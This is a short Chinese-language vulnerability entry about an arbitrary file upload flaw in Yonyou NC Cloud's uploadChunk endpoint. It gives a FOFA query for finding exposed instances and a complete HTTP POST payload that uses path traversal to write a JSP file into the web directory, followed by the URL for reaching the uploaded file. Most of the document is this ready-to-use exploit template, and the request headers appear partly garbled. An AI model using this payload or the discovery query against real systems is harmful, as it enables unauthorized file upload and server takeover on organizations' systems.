Y4-81用友-NC-文件上传

漏洞描述：

用友NC Cloud大型企业数字化平台，深度应用新一代数字智能技术，基于云原生架构，打造开放、互联、融合、智能的一体化云平台，聚焦数智化管理、数智化经营、数智化商业等三大企业数智化转型战略方向，提供涵盖数字营销、财务共享、全球司库、智能制造、敏捷供应链、人才管理、智慧协同等18大解决方案，帮助大型企业落地数智化。

用友NC Cloud uploadChunk**存在任意文件上传漏洞**，未经授权的攻击者通过漏洞可以上传任意文件，获取服务器权限。

网站图片：

网络测绘：

fofa语法：

app="用友-NC-Cloud"

漏洞复现：

payload：

```
POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/../../../nccloud/&chunk=1&chunks=1 HTTP/1.1
Host: {Hostname}:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept-Encoding: gzip, deflate*************************************--bd966ad8118cfcc67ee341272f2900c4
Content-Disposition: form-data;

name="file"; filename="ncchr_log.jsp"
<%out.println("12345678");%>
--bd966ad8118cfcc67ee341272f2900c4--
```

效果图：

访问：http://Hostname:port/nccloud/ncchr_log.jsp.jsp